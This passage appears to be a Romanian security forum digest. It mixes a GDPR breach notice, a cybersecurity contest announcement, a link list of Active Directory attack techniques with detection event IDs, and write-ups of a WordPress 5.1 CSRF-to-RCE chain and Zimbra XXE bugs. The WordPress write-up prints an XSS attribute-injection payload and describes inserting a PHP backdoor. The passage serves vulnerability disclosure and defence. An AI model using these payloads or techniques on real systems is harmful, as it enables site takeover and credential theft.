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Informare incident de securitate Published on luni, 4 februarie 2019 Furnizorii Enel Energie S.A./Enel Energie Muntenia S.A. au identificat, în luna octombrie 2018, în contextul utilizării unei aplicații care facilitează contractarea de către clienți a serviciilor prestate, un incident de securitate prin care, în mod accidental, au fost dezvăluite date cu caracter personal aparținând unui număr de 3 (trei) clienți către alți 3 (trei) clienți ceea ce a condus la posibilitatea de accesare neautorizată a acestor date de către primitori. Datele cu caracter general dezvăluite sunt exclusiv date cu caracter general (nume, prenume, adresă domiciliu, serie, număr carte de identitate, cod numeric personal, locul și data nașterii, cod client, cod ENELTEL, număr de telefon fix și mobil, adresă de e-mail, informații contractuale -număr contract, servicii contractuale furnizate); nu fac obiectul acestei încălcări de securitate date sensibile, date cu caracter special sau date cu privire la infracțiuni ale clienților după cum sunt calificate de art. 9 si 10 GDPR. Precizăm ca Enel Energie S.A./Enel Energie Muntenia S.A. au acționat, în primul rând, prin stabilizarea aplicației, în sensul că toate linkurile transmise au fost dezactivate, și oprirea acesteia până la identificarea și eliminarea erorii care a condus la producerea incidentului. De asemenea, Enel Energie S.A./Enel Energie Muntenia S.A. au analizat impactul acestui incident și au evaluat riscurile și consecințele pe care le-ar fi putut suferi persoanele vizate conform prevederilor legale aplicabile. Pentru a diminua riscurile asupra persoanelor vizate, cât și pentru a-i informa pe aceștia cu privire la incidentul de securitate ce a avut loc, furnizorul a contactat telefonic respectivii clienți și le-a furnizat informații detaliate referitoare la incident, precum și la măsurile luate. Nu au existat, ca urmare, plângeri ulterioare sau reveniri din partea persoanelor vizate, nu au fost solicitate informații suplimentare, relația contractuală derulându-se în continuare în condiții foarte bune de colaborare. Ulterior corectării erorii apărute, furnizorul a introdus verificări tehnice suplimentare de validare a documentelor transmise clientului, precum și testări repetate ale sistemului printr-un exercițiu de tip “ethical hacking/penetration testing”, pentru a releva eventualele vulnerabilități ale acestuia. După izolarea incidentului și informarea persoanelor vizate, furnizorul a transmis către Autoritatea Națională de Supraveghere a Prelucrării Datelor cu Caracter Personal notificarea de înștiintare a incidentului de securitate, care reflectă detaliile evenimentului și măsurile luate. Autoritatea a decis publicarea prezentului anunț pe site-ul furnizorului, prin care acesta să anunțe incidentul și măsurile luate pentru rezolvarea lui. Sursa: https://www.enel.ro/enel-muntenia/ro/informare-incident-de-securitate.html

Aici sunt mai multe detalii: http://www.cybersecuritychallenge.ro/etapa-national/

Selecția echipei naționale pentru Campionatul European de Securitate Cibernetică, ediția 2019 2019/03/21 Foto: ECSC În perioada 6 - 7 aprilie 2019, CERT-RO, împreună cu Serviciul Român de Informații și Asociația Națională pentru Securitatea Sistemelor Informatice, alături de partenerii Orange Romania, Bit Sentinel, certSIGN, CISCO, Microsoft, Clico, Palo Alto și Emag, organizează prima etapă de selecție (online) a echipei naționale pentru Campionatul European de Securitate Cibernetică, ediția 2019 (ECSC19). Partenerii media ai ECSC 2019 sunt Agenția Națională de Presă – Agerpres și Digi 24. În etapele de (pre)selecție vor fi testate cunoștințele participanților, prin exerciții din domeniul securității aplicațiilor web, apărării cibernetice, criptografiei, analizei traficului de rețea, reverse engineering și al prezentării publice. Detalii despre materialele educaționale recomandate se regăsesc pe site. Pentru a veni în sprijinul echipei selecționate să reprezinte România la ECSC19, organizatorii competiției naționale și partenerii implicați vor organiza două sesiuni de training (bootcamp), pentru creșterea expertizei și dezvoltarea spiritului de echipă. Concurenții care vor face parte din lotul României la faza finală a competiției European Cyber Security Challenge 2019vor primi o serie de premii din partea sponsorilor. Anul acesta, Campionatul European de Securitate Cibernetică va avea loc la București, în perioada 9 - 11 octombrie 2019. Fiecare țară participantă va fi reprezentată de câte o echipă formată din 10 concurenți împărțiți în două grupe de vârstă: 16-20 de ani și 21-25 de ani, cu câte 5 concurenți fiecare. Pentru detalii și înscriere, accesați www.cybersecuritychallenge.ro Sursa: https://cert.ro/citeste/comunicat-selectie-echipa-nationala-ECSC-2019-online?

Mai usor cu porcariile... Pe scurt, ideea e urmatoarea: oare ce zic cei care fac subiectele? "Hai sa le punem cu o seara inainte pe un site, ca sa le poata gasi elevii!". Nu exista asa ceva. Evident, ele sunt disponibile pe cine stie unde, sunt trimise la centrele de examinare, insa putine persoane ar trebui sa aiba acces. E posibil chiar sa fie trimise in dimineata examenului, deci seara de dinaine e posibil sa le aiba doar cateva persoane. Singura sansa e sa cunosti una dintre persoanele care au acces la ele si sa o convingi sa isi riste cariera ca sa iti spuna ce subiecte sunt. Asadar, ideea e simpla: invata sau copiaza.

Exploiting OGNL Injection in Apache Struts Mar 14, 2019 • Ionut Popescu Let’s understand how OGNL Injection works in Apache Struts. We’ll exemplify with two critical vulnerabilities in Struts: CVE-2017-5638 (Equifax breach) and CVE-2018-11776. Apache Struts is a free, open-source framework for creating elegant, modern Java web applications. It has its share of critical vulnerabilities, with one of its features, OGNL – Object-Graph Navigation Language, being at the core of many of them. One such vulnerability (CVE-2017-5638) has facilitated the Equifax breach in 2017 that exposed personal information of more thann 145 million US citizens. Despite being a company with over 3 billion dollars in annual revenue, it was hacked via a known vulnerability in the Apache Struts model-view-controller (MVC) framework. This article offers a light introduction into Apache Struts, then it will guide you through modifying a simple application, the use of OGNL, and exploiting it. Next, it will dive into some public exploits targeting the platform and using OGNL Injection flaws to understand this class of vulnerabilities. Even if Java developers are familiar with Apache Struts, the same is often not true in the security community. That is why we have created this blog post. Contents Feel free to use the menu below to skip to the section of interest. Install Apache Tomcat server (Getting started) Get familiar with how Java apps work on a server (Web Server Basics) A look at a Struts app (Struts application example) Expression Language Injection (Expression Language injection) Understanding OGNL injection (Object-Graph Navigation Language injection) CVE-2017-5638 root cause (CVE-2017-5638 root cause) CVE-2018-11776 root cause (CVE-2018-11776 root cause) Explanation of the OGNL injection payloads (Understanding OGNL injection payloads) Articol complet: https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/

Active Directory Kill Chain Attack & Defense Summary This document was designed to be a useful, informational asset for those looking to understand the specific tactics, techniques, and procedures (TTPs) attackers are leveraging to compromise active directory and guidance to mitigation, detection, and prevention. And understand Active Directory Kill Chain Attack and Modern Post Exploitation Adversary Tradecraft Activity. Table of Contents Discovery Privilege Escalation Defense Evasion Credential Dumping Lateral Movement Persistence Defense & Detection Discovery SPN Scanning SPN Scanning – Service Discovery without Network Port Scanning Active Directory: PowerShell script to list all SPNs used Discovering Service Accounts Without Using Privileges Data Mining A Data Hunting Overview Push it, Push it Real Good Finding Sensitive Data on Domain SQL Servers using PowerUpSQL Sensitive Data Discovery in Email with MailSniper Remotely Searching for Sensitive Files User Hunting Hidden Administrative Accounts: BloodHound to the Rescue Active Directory Recon Without Admin Rights Gathering AD Data with the Active Directory PowerShell Module Using ActiveDirectory module for Domain Enumeration from PowerShell Constrained Language Mode PowerUpSQL Active Directory Recon Functions Derivative Local Admin Dumping Active Directory Domain Info – with PowerUpSQL! Local Group Enumeration Attack Mapping With Bloodhound Situational Awareness Commands for Domain Network Compromise A Pentester’s Guide to Group Scoping LAPS Microsoft LAPS Security & Active Directory LAPS Configuration Recon Running LAPS with PowerView RastaMouse LAPS Part 1 & 2 AppLocker Enumerating AppLocker Config Privilege Escalation Passwords in SYSVOL & Group Policy Preferences Finding Passwords in SYSVOL & Exploiting Group Policy Preferences Pentesting in the Real World: Group Policy Pwnage MS14-068 Kerberos Vulnerability MS14-068: Vulnerability in (Active Directory) Kerberos Could Allow Elevation of Privilege Digging into MS14-068, Exploitation and Defence From MS14-068 to Full Compromise – Step by Step DNSAdmins Abusing DNSAdmins privilege for escalation in Active Directory From DNSAdmins to Domain Admin, When DNSAdmins is More than Just DNS Administration Unconstrained Delegation Domain Controller Print Server + Unconstrained Kerberos Delegation = Pwned Active Directory Forest Active Directory Security Risk #101: Kerberos Unconstrained Delegation (or How Compromise of a Single Server Can Compromise the Domain) Unconstrained Delegation Permissions Trust? Years to earn, seconds to break Hunting in Active Directory: Unconstrained Delegation & Forests Trusts Constrained Delegation Another Word on Delegation From Kekeo to Rubeus S4U2Pwnage Kerberos Delegation, Spns And More... Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory Insecure Group Policy Object Permission Rights Abusing GPO Permissions A Red Teamer’s Guide to GPOs and OUs File templates for GPO Abuse GPO Abuse - Part 1 Insecure ACLs Permission Rights Exploiting Weak Active Directory Permissions With Powersploit Escalating privileges with ACLs in Active Directory Abusing Active Directory Permissions with PowerView BloodHound 1.3 – The ACL Attack Path Update Scanning for Active Directory Privileges & Privileged Accounts Active Directory Access Control List – Attacks and Defense aclpwn - Active Directory ACL exploitation with BloodHound Domain Trusts A Guide to Attacking Domain Trusts It's All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts Active Directory forest trusts part 1 - How does SID filtering work? The Forest Is Under Control. Taking over the entire Active Directory forest Not A Security Boundary: Breaking Forest Trusts The Trustpocalypse DCShadow Privilege Escalation With DCShadow DCShadow DCShadow explained: A technical deep dive into the latest AD attack technique DCShadow - Silently turn off Active Directory Auditing DCShadow - Minimal permissions, Active Directory Deception, Shadowception and more RID Rid Hijacking: When Guests Become Admins Microsoft SQL Server How to get SQL Server Sysadmin Privileges as a Local Admin with PowerUpSQL Compromise With Powerupsql – Sql Attacks Red Forest Attack and defend Microsoft Enhanced Security Administrative Exchange Exchange-AD-Privesc Abusing Exchange: One API call away from Domain Admin NtlmRelayToEWS NTML Relay Pwning with Responder – A Pentester’s Guide Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes) Relaying credentials everywhere with ntlmrelayx Lateral Movement Microsoft SQL Server Database links SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! SQL Server Link Crawling with PowerUpSQL Pass The Hash Performing Pass-the-hash Attacks With Mimikatz How to Pass-the-Hash with Mimikatz Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy System Center Configuration Manager (SCCM) Targeted Workstation Compromise With Sccm PowerSCCM - PowerShell module to interact with SCCM deployments WSUS Remote Weaponization of WSUS MITM WSUSpendu Leveraging WSUS – Part One Password Spraying Password Spraying Windows Active Directory Accounts - Tradecraft Security Weekly #5 Attacking Exchange with MailSniper A Password Spraying tool for Active Directory Credentials by Jacob Wilkin Automated Lateral Movement GoFetch is a tool to automatically exercise an attack plan generated by the BloodHound application DeathStar - Automate getting Domain Admin using Empire ANGRYPUPPY - Bloodhound Attack Path Automation in CobaltStrike Defense Evasion In-Memory Evasion Bypassing Memory Scanners with Cobalt Strike and Gargoyle In-Memory Evasions Course Bring Your Own Land (BYOL) – A Novel Red Teaming Technique Endpoint Detection and Response (EDR) Evasion Red Teaming in the EDR age Sharp-Suite - Process Argument Spoofing OPSEC Modern Defenses and YOU! OPSEC Considerations for Beacon Commands Red Team Tradecraft and TTP Guidance Fighting the Toolset Microsoft ATA & ATP Evasion Red Team Techniques for Evading, Bypassing, and Disabling MS Advanced Threat Protection and Advanced Threat Analytics Red Team Revenge - Attacking Microsoft ATA Evading Microsoft ATA for Active Directory Domination PowerShell ScriptBlock Logging Bypass PowerShell ScriptBlock Logging Bypass PowerShell Anti-Malware Scan Interface (AMSI) Bypass How to bypass AMSI and execute ANY malicious Powershell code AMSI: How Windows 10 Plans to Stop Script-Based Attacks AMSI Bypass: Patching Technique Invisi-Shell - Hide your Powershell script in plain sight. Bypass all Powershell security features Loading .NET Assemblies Anti-Malware Scan Interface (AMSI) Bypass A PoC function to corrupt the g_amsiContext global variable in clr.dll in .NET Framework Early Access build 3694 AppLocker & Device Guard Bypass Living Off The Land Binaries And Scripts - (LOLBins and LOLScripts) Sysmon Evasion Subverting Sysmon: Application of a Formalized Security Product Evasion Methodology sysmon-config-bypass-finder HoneyTokens Evasion Forging Trusts for Deception in Active Directory Honeypot Buster: A Unique Red-Team Tool Disabling Security Tools Invoke-Phant0m - Windows Event Log Killer Credential Dumping NTDS.DIT Password Extraction How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller Extracting Password Hashes From The Ntds.dit File SAM (Security Accounts Manager) Internal Monologue Attack: Retrieving NTLM Hashes without Touching LSASS Kerberoasting Kerberoasting Without Mimikatz Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain Extracting Service Account Passwords With Kerberoasting Cracking Service Account Passwords with Kerberoasting Kerberoast PW list for cracking passwords with complexity requirements Kerberos AP-REP Roasting Roasting AS-REPs Windows Credential Manager/Vault Operational Guidance for Offensive User DPAPI Abuse Jumping Network Segregation with RDP DCSync Mimikatz and DCSync and ExtraSids, Oh My Mimikatz DCSync Usage, Exploitation, and Detection Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync LLMNR/NBT-NS Poisoning LLMNR/NBT-NS Poisoning Using Responder Other Compromising Plain Text Passwords In Active Directory Persistence Golden Ticket Golden Ticket Kerberos Golden Tickets are Now More Golden SID History Sneaky Active Directory Persistence #14: SID History Silver Ticket How Attackers Use Kerberos Silver Tickets to Exploit Systems Sneaky Active Directory Persistence #16: Computer Accounts & Domain Controller Silver Tickets DCShadow Creating Persistence With Dcshadow AdminSDHolder Sneaky Active Directory Persistence #15: Leverage AdminSDHolder & SDProp to (Re)Gain Domain Admin Rights Persistence Using Adminsdholder And Sdprop Group Policy Object Sneaky Active Directory Persistence #17: Group Policy Skeleton Keys Unlocking All The Doors To Active Directory With The Skeleton Key Attack Skeleton Key Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest SeEnableDelegationPrivilege The Most Dangerous User Right You (Probably) Have Never Heard Of SeEnableDelegationPrivilege Active Directory Backdoor Security Support Provider Sneaky Active Directory Persistence #12: Malicious Security Support Provider (SSP) Directory Services Restore Mode Sneaky Active Directory Persistence #11: Directory Service Restore Mode (DSRM) Sneaky Active Directory Persistence #13: DSRM Persistence v2 ACLs & Security Descriptors An ACE Up the Sleeve: Designing Active Directory DACL Backdoors Shadow Admins – The Stealthy Accounts That You Should Fear The Most The Unintended Risks of Trusting Active Directory Tools & Scripts PowerView - Situational Awareness PowerShell framework BloodHound - Six Degrees of Domain Admin Impacket - Impacket is a collection of Python classes for working with network protocols aclpwn.py - Active Directory ACL exploitation with BloodHound CrackMapExec - A swiss army knife for pentesting networks ADACLScanner - A tool with GUI or command linte used to create reports of access control lists (DACLs) and system access control lists (SACLs) in Active Directory zBang - zBang is a risk assessment tool that detects potential privileged account threats PowerUpSQL - A PowerShell Toolkit for Attacking SQL Server Rubeus - Rubeus is a C# toolset for raw Kerberos interaction and abuses ADRecon - A tool which gathers information about the Active Directory and generates a report which can provide a holistic picture of the current state of the target AD environment Mimikatz - Utility to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory but also perform pass-the-hash, pass-the-ticket or build Golden tickets Grouper - A PowerShell script for helping to find vulnerable settings in AD Group Policy. Ebooks The Dog Whisperer’s Handbook – A Hacker’s Guide to the BloodHound Galaxy Varonis eBook: Pen Testing Active Directory Environments Cheat Sheets Tools Cheat Sheets - Tools (PowerView, PowerUp, Empire, and PowerSploit) DogWhisperer - BloodHound Cypher Cheat Sheet (v2) PowerView-3.0 tips and tricks PowerView-2.0 tips and tricks Defense & Detection Tools & Scripts SAMRi10 - Hardening SAM Remote Access in Windows 10/Server 2016 Net Cease - Hardening Net Session Enumeration PingCastle - A tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework Aorato Skeleton Key Malware Remote DC Scanner - Remotely scans for the existence of the Skeleton Key Malware Reset the krbtgt account password/keys - This script will enable you to reset the krbtgt account password and related keys while minimizing the likelihood of Kerberos authentication issues being caused by the operation Reset The KrbTgt Account Password/Keys For RWDCs/RODCs Deploy-Deception - A PowerShell module to deploy active directory decoy objects dcept - A tool for deploying and detecting use of Active Directory honeytokens LogonTracer - Investigate malicious Windows logon by visualizing and analyzing Windows event log DCSYNCMonitor - Monitors for DCSYNC and DCSHADOW attacks and create custom Windows Events for these events Active Directory Security Checks (by Sean Metcalf - @Pyrotek3) General Recommendations Manage local Administrator passwords (LAPS). Implement RDP Restricted Admin mode (as needed). Remove unsupported OSs from the network. Monitor scheduled tasks on sensitive systems (DCs, etc.). Ensure that OOB management passwords (DSRM) are changed regularly & securely stored. Use SMB v2/v3+ Default domain Administrator & KRBTGT password should be changed every year & when an AD admin leaves. Remove trusts that are no longer necessary & enable SID filtering as appropriate. All domain authentications should be set (when possible) to: "Send NTLMv2 response onlyrefuse LM & NTLM." Block internet access for DCs, servers, & all administration systems. Protect Admin Credentials No "user" or computer accounts in admin groups. Ensure all admin accounts are "sensitive & cannot be delegated". Add admin accounts to "Protected Users" group (requires Windows Server 2012 R2 Domain Controllers, 2012R2 DFL for domain protection). Disable all inactive admin accounts and remove from privileged groups. Protect AD Admin Credentials Limit AD admin membership (DA, EA, Schema Admins, etc.) & only use custom delegation groups. ‘Tiered’ Administration mitigating credential theft impact. Ensure admins only logon to approved admin workstations & servers. Leverage time-based, temporary group membership for all admin accounts Protect Service Account Credentials Limit to systems of the same security level. Leverage “(Group) Managed Service Accounts” (or PW >20 characters) to mitigate credential theft (kerberoast). Implement FGPP (DFL =>2008) to increase PW requirements for SAs and administrators. Logon restrictions – prevent interactive logon & limit logon capability to specific computers. Disable inactive SAs & remove from privileged groups. Protect Resources Segment network to protect admin & critical systems. Deploy IDS to monitor the internal corporate network. Network device & OOB management on separate network. Protect Domain Controllers Only run software & services to support AD. Minimal groups (& users) with DC admin/logon rights. Ensure patches are applied before running DCPromo (especially MS14-068 and other critical patches). Validate scheduled tasks & scripts. Protect Workstations (& Servers) Patch quickly, especially privilege escalation vulnerabilities. Deploy security back-port patch (KB2871997). Set Wdigest reg key to 0 (KB2871997/Windows 8.1/2012R2+): HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWdigest Deploy workstation whitelisting (Microsoft AppLocker) to block code exec in user folders – home dir & profile path. Deploy workstation app sandboxing technology (EMET) to mitigate application memory exploits (0-days). Logging Enable enhanced auditing “Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings” Enable PowerShell module logging (“*”) & forward logs to central log server (WEF or other method). Enable CMD Process logging & enhancement (KB3004375) and forward logs to central log server. SIEM or equivalent to centralize as much log data as possible. User Behavioural Analysis system for enhanced knowledge of user activity (such as Microsoft ATA). Security Pro’s Checks Identify who has AD admin rights (domain/forest). Identify who can logon to Domain Controllers (& admin rights to virtual environment hosting virtual DCs). Scan Active Directory Domains, OUs, AdminSDHolder, & GPOs for inappropriate custom permissions. Ensure AD admins (aka Domain Admins) protect their credentials by not logging into untrusted systems (workstations). Limit service account rights that are currently DA (or equivalent). Detection Attack Event ID Account and Group Enumeration 4798: A user's local group membership was enumerated 4799: A security-enabled local group membership was enumerated AdminSDHolder 4780: The ACL was set on accounts which are members of administrators groups Kekeo 4624: Account Logon 4672: Admin Logon 4768: Kerberos TGS Request Silver Ticket 4624: Account Logon 4634: Account Logoff 4672: Admin Logon Golden Ticket 4624: Account Logon 4672: Admin Logon PowerShell 4103: Script Block Logging 400: Engine Lifecycle 403: Engine Lifecycle 4103: Module Logging 600: Provider Lifecycle DCShadow 4742: A computer account was changed 5137: A directory service object was created 5141: A directory service object was deleted 4929: An Active Directory replica source naming context was removed Skeleton Keys 4673: A privileged service was called 4611: A trusted logon process has been registered with the Local Security Authority 4688: A new process has been created 4689: A new process has exited PYKEK MS14-068 4672: Admin Logon 4624: Account Logon 4768: Kerberos TGS Request Kerberoasting 4769: A Kerberos ticket was requested S4U2Proxy 4769: A Kerberos ticket was requested Lateral Movement 4688: A new process has been created 4689: A process has exited 4624: An account was successfully logged on 4625: An account failed to log on DNSAdmin 770: DNS Server plugin DLL has been loaded 541: The setting serverlevelplugindll on scope . has been set to <dll path> 150: DNS Server could not load or initialize the plug-in DLL DCSync 4662: An operation was performed on an object Password Spraying 4625: An account failed to log on 4771: Kerberos pre-authentication failed 4648: A logon was attempted using explicit credentials Resources ASD Strategies to Mitigate Cyber Security Incidents Reducing the Active Directory Attack Surface Securing Domain Controllers to Improve Active Directory Security Securing Windows Workstations: Developing a Secure Baseline Implementing Secure Administrative Hosts Privileged Access Management for Active Directory Domain Services Awesome Windows Domain Hardening Best Practices for Securing Active Directory Introducing the Adversary Resilience Methodology — Part One Introducing the Adversary Resilience Methodology — Part Two Mitigating Pass-the-Hash and Other Credential Theft, version 2 Configuration guidance for implementing the Windows 10 and Windows Server 2016 DoD Secure Host Baseline settings Monitoring Active Directory for Signs of Compromise Detecting Lateral Movement through Tracking Event Logs Kerberos Golden Ticket Protection Mitigating Pass-the-Ticket on Active Directory Overview of Microsoft's "Best Practices for Securing Active Directory" The Keys to the Kingdom: Limiting Active Directory Administrators Protect Privileged AD Accounts With Five Free Controls The Most Common Active Directory Security Issues and What You Can Do to Fix Them Event Forwarding Guidance Planting the Red Forest: Improving AD on the Road to ESAE Detecting Kerberoasting Activity Security Considerations for Trusts Advanced Threat Analytics suspicious activity guide Protection from Kerberos Golden Ticket Windows 10 Credential Theft Mitigation Guide Detecting Pass-The- Ticket and Pass-The- Hash Attack Using Simple WMI Commands Step by Step Deploy Microsoft Local Administrator Password Solution Active Directory Security Best Practices Finally Deploy and Audit LAPS with Project VAST, Part 1 of 2 Windows Security Log Events Talk Transcript BSidesCharm Detecting the Elusive: Active Directory Threat Hunting Preventing Mimikatz Attacks Understanding "Red Forest" - The 3-Tier ESAE and Alternative Ways to Protect Privileged Credentials AD Reading: Active Directory Backup and Disaster Recovery Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques Hunting For In-Memory .NET Attacks Mimikatz Overview, Defenses and Detection Trimarc Research: Detecting Password Spraying with Security Event Auditing Hunting for Gargoyle Memory Scanning Evasion Planning and getting started on the Windows Defender Application Control deployment process Preventing Lateral Movement Using Network Access Groups How to Go from Responding to Hunting with Sysinternals Sysmon Windows Event Forwarding Guidance Threat Mitigation Strategies: Part 2 – Technical Recommendations and Information License To the extent possible under law, Rahmat Nurfauzi "@infosecn1nja" has waived all copyright and related or neighboring rights to this work. Sursa: https://github.com/infosecn1nja/AD-Attack-Defense

WordPress 5.1 CSRF to Remote Code Execution 13 Mar 2019 by Simon Scannell Last month we released an authenticated remote code execution (RCE) vulnerability in WordPress 5.0. This blog post reveals another critical exploit chain for WordPress 5.1 that enables an unauthenticated attacker to gain remote code execution on any WordPress installation prior to version 5.1.1. Impact An attacker can take over any WordPress site that has comments enabled by tricking an administrator of a target blog to visit a website set up by the attacker. As soon as the victim administrator visits the malicious website, a cross-site request forgery (CSRF) exploit is run against the target WordPress blog in the background, without the victim noticing. The CSRF exploit abuses multiple logic flaws and sanitization errors that when combined lead to Remote Code Execution and a full site takeover. The vulnerabilities exist in WordPress versions prior to 5.1.1 and is exploitable with default settings. WordPress is used by over 33% of all websites on the internet, according to its own download page. Considering that comments are a core feature of blogs and are enabled by default, the vulnerability affected millions of sites. Technical Analysis CSRF in comment form leads to HTML injection WordPress performs no CSRF validation when a user posts a new comment. This is because some WordPress features such as trackbacks and pingbacks would break if there was any validation. This means an attacker can create comments in the name of administrative users of a WordPress blog via CSRF attacks. This can become a security issue since administrators of a WordPress blog are allowed to use arbitrary HTML tags in comments, even <script> tags. In theory, an attacker could simply abuse the CSRF vulnerability to create a comment containing malicious JavaScript code. WordPress tries to solve this problem by generating an extra nonce for administrators in the comment form. When the administrator submits a comment and supplies a valid nonce, the comment is created without any sanitization. If the nonce is invalid, the comment is still created but is sanitized. The following code snippet shows how this is handled in the WordPress core: /wp-includes/comment.php (Simplified code) 323932403241324232433244324532463247 ⋮ if ( current_user_can( 'unfiltered_html' ) ) { if (! wp_verify_nonce( $_POST['_wp_unfiltered_html_comment'], 'unfiltered-html-comment' )) { $_POST['comment'] = wp_filter_post_kses($_POST['comment']); } } else { $_POST['comment'] = wp_filter_kses($_POST['comment']); } ⋮ The fact that no CSRF protection is implemented for the comment form has been known since 20091. However, we discovered a logic flaw in the sanitization process for administrators. As you can see in the above code snippet, the comment is always sanitized with wp_filter_kses(), unless the user creating the comment is an administrator with the unfiltered_html capability. If that is the case and no valid nonce is supplied, the comment is sanitized with wp_filter_post_kses() instead (line 3242 of the above code snippet). The difference between wp_filter_post_kses() and wp_filter_kses() lies in their strictness. Both functions take in the unsanitized comment and leave only a selected list of HTML tags and attributes in the string. Usually, comments are sanitized with wp_filter_kses() which only allows very basic HTML tags and attributes, such as the <a> tag in combination with the href attribute. This allows an attacker to create comments that can contain much more HTML tags and attributes than comments should usually be allowed to contain. However, although wp_filter_post_kses() is much more permissive, it still removes any HTML tags and attributes that could lead to Cross-Site-Scripting vulnerabilities. Escalating the additional HTML injection to a Stored XSS The fact that we can inject additional HTML tags and attributes still leads to a stored XSS vulnerability in the WordPress core. This is because some attributes that usually can’t be set in comments are parsed and manipulated in a faulty way that leads to an arbitrary attribute injection. After WordPress is done sanitizing the comment it will modify <a> tags within the comment string to optimize them for SEO purposes. This is done by parsing the attribute string (e.g. href="#" title="some link" rel="nofollow") of the <a>tags into an associative array (line 3004 of the following snippet), where the key is the name of an attribute and the value the attribute value. wp-includes/formatting.php 3002300330043005 function wp_rel_nofollow_callback( $matches ) { $text = $matches[1]; $atts = shortcode_parse_atts($matches[1]); ⋮ WordPress then checks if the rel attribute is set. This attribute can only be set if the comment is filtered via wp_filter_post_kses(). If it is, it processes the rel attribute and then puts the <a> tag back together. wp-includes/formatting.php 3013301430153016301730183019302030213022 if (!empty($atts['rel'])) { // the processing of the 'rel' attribute happens here ⋮ $text = ''; foreach ($atts as $name => $value) { $text .= $name . '="' . $value . '" '; } } return '<a ' . $text . ' rel="' . $rel . '">'; } The flaw occurs in the lines 3017 and 3018 of the above snippet, where the attribute values are concatenated back together without being escaped. An attacker can create a comment containing a crafted <a> tag and set for example the title attribute of the anchor to title='XSS " onmouseover=alert(1) id="'. This attribute is valid HTML and would pass the sanitization step. However, this only works because the crafted title tag uses single quotes. When the attributes are put back together, the value of the title attribute is wrapped around in double quotes (line 3018). This means an attacker can inject additional HTML attributes by injecting an additional double quote that closes the title attribute. For example: <a title='XSS " onmouseover=evilCode() id=" '> would turn into <a title="XSS " onmouseover=evilCode() id=" "> after processing. Since the comment has already been sanitized at this point, the injected onmouseover event handler is stored in the database and does not get removed. This allows attackers to inject a stored XSS payload into the target website by chaining this sanitization flaw with the CSRF vulnerability. Directly executing the XSS via an iframe The next step for an attacker to gain Remote Code Execution after creating the malicious comment is to get the injected JavaScript executed by the administrator. The comment is displayed in the frontend of the targeted WordPress blog. The frontend is not protected by the X-Frame-Options header by WordPress itself. This means the comment can be displayed in a hidden <iframe> on the website of the attacker. Since the injected attribute is an onmouseover event handler, the attacker can make the iframe follow the mouse of the victim to instantly trigger the XSS payload. This allows an attacker to execute arbitrary JavaScript code with the session of the administrator who triggered the CSRF vulnerability on the target website. All of the JavaScript execution happens in the background without the victim administrator noticing. Escalating the JavaScript execution to Remote Code Execution Now that is possible to execute arbitrary JavaScript code with the session of the administrator, Remote Code Execution can be achieved easily. By default, WordPress allows administrators of a blog to directly edit the .php files of themes and plugins from within the admin dashboard. By simply inserting a PHP backdoor, the attacker can gain arbitrary PHP code execution on the remote server. Patch By default, WordPress automatically installs security updates and you should already run the latest version 5.1.1. In case you or your hoster disabled the auto-update functionality for some reason, you can also disable comments until the security patch is installed. Most importantly, make sure to logout of your administrator session before visiting other websites. Timeline Date What 2018/10/24 Reported that it is possible to inject more HTML tags than should be allowed via CSRF to WordPress. 2018/10/25 WordPress triages the report on Hackerone. 2019/02/05 WordPress proposes a patch, we provide feedback. 2019/03/01 Informed WordPress that we managed to escalate the additional HTML injection to a Stored XSS vulnerability. 2019/03/01 WordPress informs us that a member of the WordPress security team already found the issue and a patch is ready. 2019/03/13 WordPress 5.1.1 Security and Maintenance Release Summary This blog detailed an exploit chain that starts with a CSRF vulnerability. The chain allows for any WordPress site with default settings to be taken over by an attacker, simply by luring an administrator of that website onto a malicious website. The victim administrator does not notice anything on the website of the attacker and does not have to engange in any other form of interaction, other than visiting the website set up by the attacker. We would like to thank the volunteers of the WordPress security team which have been very friendly and acted professionally when working with us on this issue. https://core.trac.wordpress.org/ticket/10931 [return] Tags: simon scannell, php, wordpress, remote code execution, cross site request forgery, cross site scripting, Author: Simon Scannell Security Researcher Simon is a self taught security researcher at RIPS Technologies and is passionate about web application security and coming up with new ways to find and exploit vulnerabilities. He currently focuses on the analysis of popular content management systems and their security architecture. Sursa: https://blog.ripstech.com/2019/wordpress-csrf-to-rce/

March 13, 2019 A Saga of Code Executions on Zimbra Zimbra is well known for its signature email product, Zimbra Collaboration Suite. Putting client-side vulnerabilities aside, Zimbra seems to have very little security history in the past. Its last critical bug was a Local File Disclosure back in 2013. Recently with several new findings, it has been known that at least one potential Remote Code Execution exists in all versions of Zimbra. Specifically, - Pre-Auth RCE on Zimbra <8.5. - Pre-Auth RCE on Zimbra from 8.5 to 8.7.11. - Auth'd RCE on Zimbra 8.8.11 and below with an additional condition that Zimbra uses Memcached. More on that in the next section. Breaking Zimbra part 1 1. The XXE cavalry - CVE-2016-9924, CVE-2018-20160, CVE-2019-9670 Zimbra uses a large amount of XML handling for both its internal and external operations. With great XML usage comes great XXE vulnerabilities. Back in 2016, another research has discovered CVE-2016-9924 with the bug locating in SoapEngine.chooseFaultProtocolFromBadXml(), which happens on the parsing of invalid XML requests. This code is used in all Zimbra instances version below 8.5. Note however, as there's no way to extract the output to the HTTP response, an out-of-band extraction method is required in exploiting it. For more recent versions, CVE-2019-9670 works flawlessly where the XXE lies in the handling of Autodiscover requests. This can be applied on Zimbra from 8.5 to 8.7.11. And for the sake of completeness, CVE-2018-20160 is an XXE in the handling of XMPP protocol and an additional bug along CVE-2019-9670 is a prevention bypass in the sanitizing of XHTML documents which also leads to XXE, however they both require some additional 